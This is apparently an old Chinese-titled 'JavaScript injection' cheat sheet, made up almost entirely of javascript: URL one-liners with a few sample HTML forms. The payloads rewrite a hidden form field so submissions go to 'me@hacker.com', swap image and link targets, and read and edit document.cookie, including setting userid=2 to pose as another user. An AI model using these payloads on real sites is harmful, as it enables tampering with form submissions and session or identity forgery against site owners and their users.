Javascript注入

javascript:alert(#command#)

javascript:alert("Hello World")

<IMG Name="hi" SRC="hello.gif">

javascript:alert(document.hi.src="http://www.mysite.com/bye.jpeg")

<SCRIPT LANGUAGE="JavaScript">
var a="test"
</SCRIPT>

javascript:alert(a)

javascript:alert(a="hello")

<form name="format" action="send.php" method="post">
<input type="hidden" name="mail" value="someone@somewhere.com">
<input type="text" name="name">
<input type="submit" value="submit"></form>

javascript:alert(document.format.mail.value="me@hacker.com")

<form action="send.php" method="post">
<input type="hidden" name="mail" value="someone@somewhere.com">
<input type="text" name="name">
<input type="submit" value="submit"></form>

javascript:alert(document. .mail.value="me@hacker.com")

<form action="send.php" method="post">
<input type="text" name="name">
<input type="submit" value="submit">
</form>

<form action="send.php" method="post">
<input type="hidden" name="mail" value="someone@somewhere.com">
<input type="text" name="name">
<input type="submit" value="submit">
</form>

<form action="send.php" method="post">
<input type="text" name="name">
<input type="submit" value="submit">
</form>

javascript:alert(document.forms[1].mail.value="me@hacker.com")

javascript:alert(document.images[3].src="#the url of the picture you want#")

javascript:alert(document.links[0].href="#the url you want#")

javascript:alert(window.c=function a(n,v,nv){c=document.cookie;c=c.substring(c.indexOf(n)+n.length,c.length);c=c.substring(1,( (c.indexOf(";")>-1) ? c.indexOf(";") : c.length));nc=unescape(c).replace(v,nv);document.cookie=n+"="+escape(nc);return unescape(document.cookie);});alert('The cookie is: "'+document.cookie+'"');alert(c(prompt("The name of the cookie:",""),prompt("Change this value:",""),prompt("with this:","")));

javascript:alert(document.cookie)

javascript:alert(document.cookie="userid=2")